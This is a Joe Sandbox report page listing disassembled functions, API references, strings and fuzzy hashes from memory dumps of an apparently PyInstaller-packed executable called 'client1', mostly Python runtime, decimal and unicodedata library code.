Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: FreeMem_$__acrt_iob_func$fputc
String ID: %s:%d: warning: $D:\a\1\s\Modules\_decimal\libmpdec\mpdecimal.c$libmpdec: internal error in _mpd_base_ndivmod: please report
API String ID: 3941785396-1801843369
Opcode ID: f47527f913d2a66f8e896ba17037a917f0ea3313601f2739433dc40459f4e032
Instruction ID: c4af8290376719b0a3a1351667b39d466f74986361f27e36e08fd4b06b8089d3
Opcode Fuzzy Hash: f47527f913d2a66f8e896ba17037a917f0ea3313601f2739433dc40459f4e032
Instruction Fuzzy Hash: 5EC17FB2A0AB45C9E7128F75D4412EE27E9BB44B88F0041B2DE4E177A9DF7CD50AC760

Function 00007FFBAB497410 Relevance: 26.4, APIs: 11, Strings: 4, Instructions: 175COMMON

Download Yara Rule

APIs

PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB49CD26
PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB49CD4C
PyObject_RichCompareBool.PYTHON311 ref: 00007FFBAB49CD67
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49CD78
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49CD87
PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB49CDCE
PyLong_FromSsize_t.PYTHON311 ref: 00007FFBAB49CDF0
PyNumber_TrueDivide.PYTHON311 ref: 00007FFBAB49CE08
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49CE1A
_Py_Dealloc.PYTHON311 ref: 00007FFBAB49CE29
PyType_IsSubtype.PYTHON311 ref: 00007FFBAB49CE64

Strings

charset_normalizer.md.CjkInvalidStopPlugin, xrefs: 00007FFBAB49CF22
float, xrefs: 00007FFBAB49CE7E
ratio, xrefs: 00007FFBAB49CE3B, 00007FFBAB49CE95
__init__, xrefs: 00007FFBAB49CEC9, 00007FFBAB49CF35

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: DeallocFromLong_Ssize_t$BoolCompareDivideNumber_Object_RichSubtypeTrueType_
String ID: __init__$charset_normalizer.md.CjkInvalidStopPlugin$float$ratio
API String ID: 802557476-1911822692
Opcode ID: 2f1a14135aac1993272bca4400cba88a50f561f1b04a1fc196391771b24e3b97
Instruction ID: 1cedd45f8e47f78c407af068ab7f621b4ce50164b924b55eed2b1440f615486e
Opcode Fuzzy Hash: 2f1a14135aac1993272bca4400cba88a50f561f1b04a1fc196391771b24e3b97
Instruction Fuzzy Hash: E76151A1A0FA0285FE569B36E89427D63A0AF45BE0F488235DD3E477F6DF2CE4518340

Function 00007FFBAA6F238C Relevance: 24.6, APIs: 12, Strings: 2, Instructions: 123COMMON

Download Yara Rule

APIs

PyObject_GetAttrString.PYTHON311 ref: 00007FFBAA6F23BE

Part of subcall function 00007FFBAA6FE060: _PyObject_New.PYTHON311 ref: 00007FFBAA6FE0E4

_Py_Dealloc.PYTHON311 ref: 00007FFBAA711469

Part of subcall function 00007FFBAA6F27A8: memmove.VCRUNTIME140(?,?,?,00007FFBAA6F2401), ref: 00007FFBAA6F27D6

_Py_Dealloc.PYTHON311 ref: 00007FFBAA6F24A5
PyMem_Free.PYTHON311 ref: 00007FFBAA6F24B4
PyMem_Free.PYTHON311 ref: 00007FFBAA6F24E9
_Py_Dealloc.PYTHON311 ref: 00007FFBAA71147E
PyErr_NoMemory.PYTHON311 ref: 00007FFBAA711484

Part of subcall function 00007FFBAA6FCD90: _PyObject_New.PYTHON311(?,?,?,?,00007FFBAA6F1110), ref: 00007FFBAA6FCDA3

_Py_Dealloc.PYTHON311 ref: 00007FFBAA711499
PyMem_Free.PYTHON311 ref: 00007FFBAA7114A8
PyMem_Free.PYTHON311 ref: 00007FFBAA7114BA

Strings

exact conversion for comparison failed, xrefs: 00007FFBAA7114CD
denominator, xrefs: 00007FFBAA6F23B1

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: DeallocFreeMem_$Object_$AttrErr_MemoryStringmemmove
String ID: denominator$exact conversion for comparison failed
API String ID: 3610791524-3218595679
Opcode ID: 38cdf41f268258beab263b53bbaaa3de93e8eca75f7d5572cb4eb84eafd0fadd
Instruction ID: 0d6c1ec94a945421937c53c08db8646e9f6f06ed964d658c2629899dc8a98155
Opcode Fuzzy Hash: 38cdf41f268258beab263b53bbaaa3de93e8eca75f7d5572cb4eb84eafd0fadd
Instruction Fuzzy Hash: D15191B2A0AB52C5EB12CF35D8542BD27A8BB44F94F0450B1DE4D066A4DF7CE54ACB60

Function 00007FFBAA70A53C Relevance: 24.6, APIs: 10, Strings: 4, Instructions: 70COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,00007FFBAA70CA35,?,?,00000000,?,?,00007FFBAA6FC634), ref: 00007FFBAA715DA6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,00007FFBAA70CA35,?,?,00000000,?,?,00007FFBAA6FC634), ref: 00007FFBAA715DCA
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,00007FFBAA70CA35,?,?,00000000,?,?,00007FFBAA6FC634), ref: 00007FFBAA715DE1
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,00007FFBAA70CA35,?,?,00000000,?,?,00007FFBAA6FC634), ref: 00007FFBAA715DEF
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,00007FFBAA70CA35,?,?,00000000,?,?,00007FFBAA6FC634), ref: 00007FFBAA715DF5
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,00007FFBAA70CA35,?,?,00000000,?,?,00007FFBAA6FC634), ref: 00007FFBAA715DFE
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,00007FFBAA70CA35,?,?,00000000,?,?,00007FFBAA6FC634), ref: 00007FFBAA715E22
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,00007FFBAA70CA35,?,?,00000000,?,?,00007FFBAA6FC634), ref: 00007FFBAA715E39
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(?,?,00000000,00007FFBAA70CA35,?,?,00000000,?,?,00007FFBAA6FC634), ref: 00007FFBAA715E47
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,00000000,00007FFBAA70CA35,?,?,00000000,?,?,00007FFBAA6FC634), ref: 00007FFBAA715E4D

Strings

mul_size_t(): overflow: check the context, xrefs: 00007FFBAA715DD3
%s:%d: error: , xrefs: 00007FFBAA715DBC, 00007FFBAA715E14
add_size_t(): overflow: check the context, xrefs: 00007FFBAA715E2B
D:\a\1\s\Modules\_decimal\libmpdec\typearith.h, xrefs: 00007FFBAA715DB2, 00007FFBAA715E0A

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: __acrt_iob_func$abortfputc
String ID: %s:%d: error: $D:\a\1\s\Modules\_decimal\libmpdec\typearith.h$add_size_t(): overflow: check the context$mul_size_t(): overflow: check the context
API String ID: 4224473327-4231770502
Opcode ID: bd6d3835cd08eabc742edac99f748093eed2fa89b091dbba296b2b38ce6aef46
Instruction ID: 866c3f8d34b5e297dafbde8925d3489b2d01993c6427c532d3ff453778f8d7b6
Opcode Fuzzy Hash: bd6d3835cd08eabc742edac99f748093eed2fa89b091dbba296b2b38ce6aef46
Instruction Fuzzy Hash: 1C2146E0B0A606D2EA075F30E8691BF26AABF84790F4041B6DD1E177F5DE2C954BD320

Function 00007FFBAB491060 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_PyObject_LookupAttrId.PYTHON311 ref: 00007FFBAB4910BF
PyList_Append.PYTHON311 ref: 00007FFBAB4910E6
_PyObject_FastCall.PYTHON311 ref: 00007FFBAB491104
_Py_Dealloc.PYTHON311 ref: 00007FFBAB491118
PyList_New.PYTHON311 ref: 00007FFBAB491143
PyList_SetSlice.PYTHON311 ref: 00007FFBAB491185
_Py_Dealloc.PYTHON311 ref: 00007FFBAB491198
PyList_AsTuple.PYTHON311 ref: 00007FFBAB4911B6
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4911C8
PyErr_SetString.PYTHON311 ref: 00007FFBAB4911E4
_Py_Dealloc.PYTHON311 ref: 00007FFBAB4911F3
_Py_Dealloc.PYTHON311 ref: 00007FFBAB491207

Strings

__mro_entries__ must return a tuple, xrefs: 00007FFBAB4911DA

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$List_$Object_$AppendAttrCallErr_FastLookupSliceStringTuple
String ID: __mro_entries__ must return a tuple
API String ID: 1865160900-2385075324
Opcode ID: 467033a0127221bfa40f722767f11646d0dcbf4943d0c97cc8d9c43896cda3e2
Instruction ID: fb788a86f95bdffb25da690bfeba43a5147281fcdde69fe5fd4528962b71bce0
Opcode Fuzzy Hash: 467033a0127221bfa40f722767f11646d0dcbf4943d0c97cc8d9c43896cda3e2
Instruction Fuzzy Hash: 40416AB2B0BA42A1EA169F76E99427DA3A4EF48BD4F09C035CE2D46774DF3CE0459301

Function 00007FFBAA7348C8 Relevance: 22.8, APIs: 8, Strings: 5, Instructions: 94COMMON

Download Yara Rule

APIs

_PyUnicode_Ready.PYTHON311 ref: 00007FFBAA7348F5
PyUnicode_CompareWithASCIIString.PYTHON311 ref: 00007FFBAA734927
PyUnicode_Compare.PYTHON311 ref: 00007FFBAA73498A
_Py_Dealloc.PYTHON311 ref: 00007FFBAA73499B
PyUnicode_CompareWithASCIIString.PYTHON311 ref: 00007FFBAA7349AF
PyUnicode_CompareWithASCIIString.PYTHON311 ref: 00007FFBAA7349CF
PyUnicode_CompareWithASCIIString.PYTHON311 ref: 00007FFBAA7349E7
PyErr_SetString.PYTHON311 ref: 00007FFBAA734A0A

Strings

NFD, xrefs: 00007FFBAA7349C5
NFC, xrefs: 00007FFBAA734917
invalid normalization form, xrefs: 00007FFBAA734A00
NFKC, xrefs: 00007FFBAA7349A5
NFKD, xrefs: 00007FFBAA7349DD

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: Unicode_$CompareString$With$DeallocErr_Ready
String ID: NFC$NFD$NFKC$NFKD$invalid normalization form
API String ID: 1067165228-3528878251
Opcode ID: a97fda713efcdaed74d0f15b89fc759eef65b993e3755085a36f180e1a2a6872
Instruction ID: b988f50bc5ea979f777908f5ddaa70db4002d3e538d9a90ee6a0d6aa694fbe36
Opcode Fuzzy Hash: a97fda713efcdaed74d0f15b89fc759eef65b993e3755085a36f180e1a2a6872
Instruction Fuzzy Hash: 254182A1B0E657C9EA56AF32E8442372368BF45B86F8645B9CD4F47790DF6CE0069330

Function 00007FFBAB493E30 Relevance: 22.8, APIs: 11, Strings: 2, Instructions: 88COMMON

Download Yara Rule

APIs

PyObject_GetAttrString.PYTHON311 ref: 00007FFBAB493E60
PyErr_SetString.PYTHON311 ref: 00007FFBAB493E8F
_Py_Dealloc.PYTHON311 ref: 00007FFBAB493E9E
_Py_Dealloc.PYTHON311 ref: 00007FFBAB493EB3
PyDict_New.PYTHON311 ref: 00007FFBAB493EDA
PyObject_GetAttr.PYTHON311 ref: 00007FFBAB493F09
PyErr_ExceptionMatches.PYTHON311 ref: 00007FFBAB493F21
PyErr_Clear.PYTHON311 ref: 00007FFBAB493F2F
PyDict_SetItem.PYTHON311 ref: 00007FFBAB493F40
_Py_Dealloc.PYTHON311 ref: 00007FFBAB493F52
_Py_Dealloc.PYTHON311 ref: 00007FFBAB493F79

Strings

__mypyc_attrs__, xrefs: 00007FFBAB493E51
__mypyc_attrs__ is not a tuple, xrefs: 00007FFBAB493E85

Memory Dump Source

Source File: 00000002.00000002.2695432092.00007FFBAB491000.00000020.00000001.01000000.00000014.sdmp, Offset: 00007FFBAB490000, based on PE: true

Associated: 00000002.00000002.2695413787.00007FFBAB490000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695456347.00007FFBAB4A4000.00000002.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695478650.00007FFBAB4AA000.00000004.00000001.01000000.00000014.sdmpDownload File
Associated: 00000002.00000002.2695501720.00007FFBAB4AE000.00000002.00000001.01000000.00000014.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbab490000_client1.jbxd

Similarity

API ID: Dealloc$Err_$AttrDict_Object_String$ClearExceptionItemMatches
String ID: __mypyc_attrs__$__mypyc_attrs__ is not a tuple
API String ID: 2346549887-4201147154
Opcode ID: 97c887f9a55379cd6061ec2239fa0885262fb877c9a2011c0a5dba965d3d668a
Instruction ID: 45cbecc10efc526329283156c2ff8329bae3173542d41ca1beb7b17bd933bf15
Opcode Fuzzy Hash: 97c887f9a55379cd6061ec2239fa0885262fb877c9a2011c0a5dba965d3d668a
Instruction Fuzzy Hash: 97314AB2A0AB4295EA569F36E89427D63A0FF45FD4F098039DE2D06774DF3CE4458301

Function 00007FFBAA709EBC Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

PyArg_ParseTupleAndKeywords.PYTHON311 ref: 00007FFBAA709F18
_Py_Dealloc.PYTHON311 ref: 00007FFBAA70A010
_Py_Dealloc.PYTHON311 ref: 00007FFBAA70A041
PyErr_SetString.PYTHON311 ref: 00007FFBAA70A084
_Py_Dealloc.PYTHON311 ref: 00007FFBAA70A095
_Py_Dealloc.PYTHON311 ref: 00007FFBAA70A09D

Part of subcall function 00007FFBAA6FE780: PyContextVar_Get.PYTHON311(?,?,?,?,00007FFBAA6F1345), ref: 00007FFBAA6FE792

_Py_Dealloc.PYTHON311 ref: 00007FFBAA715B8F

Strings

OO|O, xrefs: 00007FFBAA709EEA
optional argument must be a context, xrefs: 00007FFBAA70A07A

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693243662.00007FFBAA729000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693259098.00007FFBAA72A000.00000002.00000001.01000000.00000016.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa6f0000_client1.jbxd

Similarity

API ID: Dealloc$Arg_ContextErr_KeywordsParseStringTupleVar_
String ID: OO|O$optional argument must be a context
API String ID: 3219279049-4143137676
Opcode ID: a46515a4f6f2f69e0e60290085b09fabc6f98e0f00078889bc04a6c3a0490e87
Instruction ID: e0e3d6ef61083c5dbcaae97c8a7108bd58104a1b562f98d5179f8168f5bda382
Opcode Fuzzy Hash: a46515a4f6f2f69e0e60290085b09fabc6f98e0f00078889bc04a6c3a0490e87
Instruction Fuzzy Hash: 77611BB2E1AA16D8EB168F75D8400BE27B8BB44B94F440076DE0E27664EE3DE546C360

Function 00007FF79F621440 Relevance: 21.1, APIs: 1, Strings: 11, Instructions: 133COMMON

Download Yara Rule

Strings

Failed to extract %s: failed to write data chunk!, xrefs: 00007FF79F6215D5
fseek, xrefs: 00007FF79F621500
Failed to extract %s: failed to allocate temporary buffer!, xrefs: 00007FF79F621559
fopen, xrefs: 00007FF79F621491
Failed to extract %s: failed to open archive file!, xrefs: 00007FF79F6214CA
Failed to extract %s: failed to open target file!, xrefs: 00007FF79F62148A
fwrite, xrefs: 00007FF79F6215DC
malloc, xrefs: 00007FF79F621560
fread, xrefs: 00007FF79F6215EC
Failed to extract %s: failed to read data chunk!, xrefs: 00007FF79F6215E5
Failed to extract %s: failed to seek to the entry's data!, xrefs: 00007FF79F6214F9

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID:
String ID: Failed to extract %s: failed to allocate temporary buffer!$Failed to extract %s: failed to open archive file!$Failed to extract %s: failed to open target file!$Failed to extract %s: failed to read data chunk!$Failed to extract %s: failed to seek to the entry's data!$Failed to extract %s: failed to write data chunk!$fopen$fread$fseek$fwrite$malloc
API String ID: 0-666925554
Opcode ID: 1bbb5a14678834b1a958f942c3490a164635d270f47cc7c371ea8b9b6d09e3c4
Instruction ID: 0190cd064c25e385b7292367919a27a15d736b7076455ffd5e4312f0d7858d72
Opcode Fuzzy Hash: 1bbb5a14678834b1a958f942c3490a164635d270f47cc7c371ea8b9b6d09e3c4
Instruction Fuzzy Hash: EC518C61B0C7C251FE30BB31A8506F9A39ABF45BA4F844531DE2D87796EE3CE5458321

Function 00007FF79F6278A0 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 91COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,00007FF79F62685A,?,00007FF79F62674D), ref: 00007FF79F6278E0
OpenProcessToken.ADVAPI32(?,00007FF79F62674D), ref: 00007FF79F6278F1
GetTokenInformation.ADVAPI32(?,00007FF79F62674D(TokenIntegrityLevel)), ref: 00007FF79F627913
GetLastError.KERNEL32(?,TokenIntegrityLevel), ref: 00007FF79F62791D
GetTokenInformation.ADVAPI32(?,TokenIntegrityLevel), ref: 00007FF79F62795A
ConvertSidToStringSidW.ADVAPI32 ref: 00007FF79F62796C
CloseHandle.KERNEL32(?,00007FF79F62674D), ref: 00007FF79F627984
LocalFree.KERNEL32(?,00007FF79F62674D), ref: 00007FF79F6279B6
ConvertStringSecurityDescriptorToSecurityDescriptorW.ADVAPI32 ref: 00007FF79F6279DD
CreateDirectoryW.KERNEL32(?,00007FF79F62674D), ref: 00007FF79F6279EE

Strings

D:(A;;FA;;;%s), xrefs: 00007FF79F627999
S-1-3-4, xrefs: 00007FF79F62798F

Memory Dump Source

Source File: 00000002.00000002.2693036603.00007FF79F621000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF79F620000, based on PE: true

Associated: 00000002.00000002.2693018203.00007FF79F620000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693061814.00007FF79F64A000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F65D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F660000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693083227.00007FF79F66C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.2693132419.00007FF79F66E000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ff79f620000_client1.jbxd

Similarity

API ID: Token$ConvertDescriptorInformationProcessSecurityString$CloseCreateCurrentDirectoryErrorFreeHandleLastLocalOpen
String ID: D:(A;;FA;;;%s)$S-1-3-4
API String ID: 4998090-2855260032
Opcode ID: 325d64cfb385d23493eb0389c0ea059c6d59262dbafda5a72abe8264351e6c2a
Instruction ID: 5091bb93fd22be243f411a30a0651f203524a3d1e1ac6d27fc3a0dfc45faf5d1
Opcode Fuzzy Hash: 325d64cfb385d23493eb0389c0ea059c6d59262dbafda5a72abe8264351e6c2a
Instruction Fuzzy Hash: 6941333161C7C282E660BF75E8446E9B366FB847A4F840231EA6E876D5DF7CD444CB11

Function 00007FFBAA7324D0 Relevance: 21.1, APIs: 8, Strings: 4, Instructions: 73COMMON

Download Yara Rule

APIs

PyModule_AddStringConstant.PYTHON311 ref: 00007FFBAA7324F0
PyType_FromSpec.PYTHON311 ref: 00007FFBAA732505
PyModule_AddType.PYTHON311 ref: 00007FFBAA73251D
_Py_Dealloc.PYTHON311 ref: 00007FFBAA733EBD

Part of subcall function 00007FFBAA7325B0: _PyObject_GC_New.PYTHON311(?,?,00000000,00007FFBAA732533), ref: 00007FFBAA7325B6
Part of subcall function 00007FFBAA7325B0: PyObject_GC_Track.PYTHON311(?,?,00000000,00007FFBAA732533), ref: 00007FFBAA7325E8

PyModule_AddObject.PYTHON311 ref: 00007FFBAA732552
PyModule_AddObjectRef.PYTHON311 ref: 00007FFBAA73257A
_Py_Dealloc.PYTHON311 ref: 00007FFBAA733ECC
_Py_Dealloc.PYTHON311 ref: 00007FFBAA733EEA

Part of subcall function 00007FFBAA732620: PyMem_Malloc.PYTHON311(?,?,00000000,00007FFBAA732565), ref: 00007FFBAA73262B
Part of subcall function 00007FFBAA732620: PyCapsule_New.PYTHON311(?,?,00000000,00007FFBAA732565), ref: 00007FFBAA732668

Strings

ucd_3_2_0, xrefs: 00007FFBAA732548
unidata_version, xrefs: 00007FFBAA7324E9
_ucnhash_CAPI, xrefs: 00007FFBAA732570
14.0.0, xrefs: 00007FFBAA7324DF

Memory Dump Source

Source File: 00000002.00000002.2693290777.00007FFBAA731000.00000020.00000001.01000000.00000015.sdmp, Offset: 00007FFBAA730000, based on PE: true

Associated: 00000002.00000002.2693275344.00007FFBAA730000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA735000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA792000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7DE000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E1000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA7E6000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693307504.00007FFBAA840000.00000002.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693474597.00007FFBAA843000.00000004.00000001.01000000.00000015.sdmpDownload File
Associated: 00000002.00000002.2693491810.00007FFBAA845000.00000002.00000001.01000000.00000015.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7ffbaa730000_client1.jbxd

Similarity

API ID: Module_$Dealloc$ObjectObject_$Capsule_ConstantFromMallocMem_SpecStringTrackTypeType_
String ID: 14.0.0$_ucnhash_CAPI$ucd_3_2_0$unidata_version
API String ID: 288921926-1430584071
Opcode ID: 34ac006824e125b38f87d2d071ae01d9c336cf72669efd439cdbfbf994d14880
Instruction ID: ebf8cf4169c7ba7191605c94e996a6522488dd2cb9f0f0c96e46391f52a59161
Opcode Fuzzy Hash: 34ac006824e125b38f87d2d071ae01d9c336cf72669efd439cdbfbf994d14880
Instruction Fuzzy Hash: 09212CE1F0F703C5FA576F35E81417A22ACAF59B90B4A51F4DE1E06694DE2CE9068370

Function 00007FFBAA6F5F50 Relevance: 19.6, APIs: 8, Strings: 3, Instructions: 334COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFBAA711B7D
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFBAA711BA4
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFBAA711BBE
fputc.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FFBAA711BCC
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFBAA711BD2
PyMem_Free.PYTHON311 ref: 00007FFBAA711BDC

Strings

%s:%d: error: , xrefs: 00007FFBAA711B93
sub_size_t(): overflow: check the context, xrefs: 00007FFBAA711BAD
D:\a\1\s\Modules\_decimal\libmpdec\typearith.h, xrefs: 00007FFBAA711B89

Memory Dump Source

Source File: 00000002.00000002.2693167366.00007FFBAA6F1000.00000020.00000001.01000000.00000016.sdmp, Offset: 00007FFBAA6F0000, based on PE: true

Associated: 00000002.00000002.2693151925.00007FFBAA6F0000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693193696.00007FFBAA719000.00000002.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693211520.00007FFBAA727000.00000004.00000001.01000000.00000016.sdmpDownload File
Associated: 00000002.00000002.2693226656.00007FFBAA728000.00000008.00000001.01000000.00000016.sdmpDownload File
